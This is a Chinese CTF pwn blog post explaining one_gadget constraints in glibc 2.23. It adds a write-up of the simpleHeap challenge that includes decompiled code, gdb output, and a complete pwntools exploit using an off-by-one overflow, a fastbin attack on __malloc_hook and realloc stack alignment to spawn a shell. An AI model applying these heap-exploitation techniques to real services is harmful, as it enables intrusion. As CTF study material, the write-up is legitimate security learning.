【PWN笔记】one_gadget的限制及利用

0x01 介绍

one-gadget 是glibc里调用execve("/bin/sh",argv,envp)的一段非常有用的gadget。我们有时可以控制程序跳转到这些gadget的地址里来提权。

execve定义

#include <unistd.h>

int execve(const char *pathname, char *const argv[], char *const envp[]); 

execve()执行程序由 filename决定。

参数:

  • pathname是二进制程序或是或者是一个脚本以#!格式开头的解释器参数参数。如果是后者,这个解释器必须是一个可执行的有效的路径名,但是不是脚本本身,它将调用解释器作为文件名。

    • 数据类型:const char *pathname 字符串常量
  • argv是要调用的程序执行的参数序列,也就是我们要调用的程序需要传入的参数。

    • 数据类型:const char *pathname 字符串常量
  • envp 同样也是参数序列,一般来说他是一种键值对的形式 key=value. 作为我们是新程序的环境。

    • 数据类型:char *const envp[] 字符串数组常量

argv 和envp都必须以null指针结束。

0x02 one_gadget指令

下面以libc2.23为例来分析one_gadget

执行指令$ one_gadget /lib/x86_64-linux-gnu/libc.so.6即可查看one_gadget

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

其实one_gadget不止这四个,one_gadget命令默认显示的是限制条件比较宽泛的one gadget,通过-l参数指定搜索级别,可以显示更多的one_gadget

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 -l1
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 -l2

还有一个near功能也很管用,可以找最靠近某个函数的one_gadget,这里搜索靠近read函数

one_gadget /lib/x86_64-linux-gnu/libc.so.6 --near read

搜索到的one_gadget地址有时和函数地址仅仅差几个字节, 利用这一点我们可以在泄露不了libc的情况下采用尾字节覆盖的方式来强行修改read函数地址成为我们的one_gadget地址。

0x03 one_gadget限制

one_gadget通常都是执行形如

execve(pathname, rsp+offset, environ)

来分析一下这三个参数

pathname = "/bin/sh"

argv = rsp+offset

envp = environ

第一个参数"/bin/sh"和第三个参数environ是环境变量,没有问题。

只要第二个参数满足条件,即argv[]数组为NULL

但是根据execve的参数条件可以知道第二个参数不一定非要是NULL,其本质上是给是传给新程序的参数列表。

只需要满足以下条件

  1. argv第一项是合法指针,第二项为NULL
  2. argv第一项为空

0x04 实验

test1

# include <stdio.h>
# include <stdlib.h>

int main()
{
   char *pathname = "/bin/sh";
   char *argv[] = {"AAAA",NULL};
   char *envp[] = {NULL};
   execve(pathname,argv,envp);

   return 0;
}

argv[0]为合法指针,argv[1]为NULL,成功get shell

test2

# include <stdio.h>
# include <stdlib.h>

int main()
{
   char *pathname = "/bin/sh";
   char *argv[] = {NULL,"AAAA",'AAAA'};
   char *envp[] = {NULL};
   execve(pathname,argv,envp);

   return 0;
}

argv[0]为NULL,argv[1]为合法指针,argv[2]为非法指针(单引号),成功get shell

test3

# include <stdio.h>
# include <stdlib.h>

int main()
{
   char *pathname = "/bin/sh";
   char *argv[] = {'AAAA',NULL};
   char *envp[] = {NULL};
   execve(pathname,argv,envp);

   return 0;
}

argv[0]为非法指针,argv[1]为NULL,无法get shell

test4

# include <stdio.h>
# include <stdlib.h>

int main()
{
   char *pathname = "/bin/sh";
   char *argv[] = {"AAAA","AAAA",NULL};
   char *envp[] = {NULL};
   execve(pathname,argv,envp);

   return 0;
}

前两项指针合法,第三项为NULL也无法get shell

总结

只需要满足以下条件之一即可get shell

  1. argv第一项是合法指针,第二项为NULL
  2. argv第一项为空

所有实验和one_gadget均在libc2.23版本下

第一个参数"/bin/sh"和第三个参数environ是合法的环境变量

0x05 [V&N2020 公开赛]simpleHeap

buu的一道堆题,这里主要分析最后one_gadget的实现,堆利用部分简单概括一下

思路

保护

[*] '/root/CTF/Pwn/simpleHeap/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    #ubuntu16

Add

signed int sub_AFF()
{
  signed int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  signed int v2; // [rsp+Ch] [rbp-4h]

  v1 = sub_AB2();
  if ( v1 == -1 )
    return puts("Full");
  printf("size?");
  result = sub_9EA();
  v2 = result;
  if ( result > 0 && result <= 111 )
  {
    qword_2020A0[v1] = malloc(result);
    if ( !qword_2020A0[v1] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    dword_202060[v1] = v2;
    printf("content:");
    read(0, qword_2020A0[v1], dword_202060[v1]);
    result = puts("Done!");
  }
  return result;
}

申请fast_bin大小的chunk

Edit

int sub_CBB()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
    exit(0);
  printf("content:");
  sub_C39(qword_2020A0[v1], dword_202060[v1]);
  return puts("Done!");
}

sub_C39函数里的关键点:

if ( (signed int)i > a2 )
      break;

此处应该是>=,这里造成了单字节溢出漏洞

Show

int sub_D6F()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
    exit(0);
  puts((const char *)qword_2020A0[v1]);
  return puts("Done!");
}

Delete

int sub_DF7()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
    exit(0);
  free(qword_2020A0[v1]);
  qword_2020A0[v1] = 0LL;
  dword_202060[v1] = 0;
  return puts("Done!");
}

无UAF


overlaping攻击,通过单字节溢出改掉chunk1的size=chunk1+chunk2,然后把这个大的chunk放入unsorted_bin,再把chunk1分配出来,此刻chunk2在使用而且又在unsorted_bin中,泄露libc

将chunk4(2)拿出来再free到fast_bin里

但是chunk2(4)最初被分配了还在使用 构造fd - > fake_chunk

在malloc_hook附近构造fake_chunk,fake_chunk一般构造在&malloc_hook-0x23的地方


重点

&realloc_hook = &malloc_hook - 8

realloc_hook也在fake_chunk里,可以和malloc_hook一起改

流程大概是这样

调用malloc函数---->判断是否有malloc_hook,有则调用之---->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行---->执行realloc函数时,会判断是否有realloc_hook,有则调用之---->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。

选择one_gadget

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

满足以下条件之一即可

  1. rsp+0x30处为NULL

  2. rsp+0x30为合法地址,rsp+0x38为NULL

先查看一下__libc_realloc的代码

pwndbg> p &__libc_realloc
$1 = (<text variable, no debug info> *) 0x7fadb3b02710 <__GI___libc_realloc>
pwndbg> x/15i 0x7fadb3b02710
   0x7fadb3b02710 <__GI___libc_realloc>:  push   r15
   0x7fadb3b02712 <__GI___libc_realloc+2>:    push   r14
   0x7fadb3b02714 <__GI___libc_realloc+4>:    push   r13
   0x7fadb3b02716 <__GI___libc_realloc+6>:    push   r12
   0x7fadb3b02718 <__GI___libc_realloc+8>:    mov    r12,rsi
   0x7fadb3b0271b <__GI___libc_realloc+11>:   push   rbp
   0x7fadb3b0271c <__GI___libc_realloc+12>:   push   rbx
   0x7fadb3b0271d <__GI___libc_realloc+13>:   mov    rbx,rdi
   0x7fadb3b02720 <__GI___libc_realloc+16>:   sub    rsp,0x38
   0x7fadb3b02724 <__GI___libc_realloc+20>:   mov    rax,QWORD PTR [rip+0x33f8a5]        # 0x7fadb3e41fd0
   0x7fadb3b0272b <__GI___libc_realloc+27>:   mov    rax,QWORD PTR [rax]
   0x7fadb3b0272e <__GI___libc_realloc+30>:   test   rax,rax
   0x7fadb3b02731 <__GI___libc_realloc+33>:   jne    0x7fadb3b02958 <__GI___libc_realloc+584>
   0x7fadb3b02737 <__GI___libc_realloc+39>:   test   rsi,rsi
   0x7fadb3b0273a <__GI___libc_realloc+42>:   sete   dl

先跳转到realloc看一下附近的地址

pd = 'a'*0xb+p64(libc_base + one[1])+p64(realloc)

这时rsp+0x30 = 0x00007f0b0d130ea

我们可以通过跳转到realloc+2 ,少push一次,将栈抬高8,使得rsp+0x30 = rsp+0x38,就可以满足第二个条件

但是再次调试的时候发现rsp+0x40的位置并不是0,一直往下找,最后少五次push可以满足第二个条件

pd = 'a'*0xb+p64(libc_base + one[1])+p64(realloc+12)

少push一次,rsp+0x30就等于 rsp+0x38(gdb中下面一个的地址)

多push一次,rsp+0x30就等于 rsp+0x28(gdb中上面的一个地址)

也可以倒着找

先查看realloc+0x10附近的地址,然后往上加psuh

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
p = process(['./chall'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
one = [0x45216,0x4527a,0xf02a4,0xf1147]
elf = ELF('./chall', checksec=False)

def add(size,content):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

def edit(index,content): 
    p.sendline('2')
    p.recvuntil('idx?')
    p.sendline(str(index))
    p.recvuntil('content:')
    p.sendline(content)

def show(index):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(index))

def free(index):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(index))

add(0x58,'aaaa') #0
add(0x60,'bbbb') #1
add(0x60,'cccc') #2
add(0x60,'dddd') #3

pd = 0x58*'a' + '\xe1' #申请0x58,多出来的8字节是chunk1的prev_size,这样就可以溢出到chunk1的size
edit(0,pd)
free(1)
add(0x60,'aaaa') #1

show(2)
main_arean = u64(p.recv(6).ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('libc_base = ' + hex(libc_base))

add(0x60,'aaaa') #4
free(4)
edit(2,p64(fake_chunk))

pd = 'a'*0xb+p64(libc_base + one[1])+p64(realloc+13) 
add(0x60,'aaaa')
add(0x60,pd)

p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x60))
p.interactive()

参考链接

http://www.pwn4fun.com/pwn/onegadget-xuanxue-getshell.html

http://taqini.space/2020/04/29/about-execve/#One-gadget

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇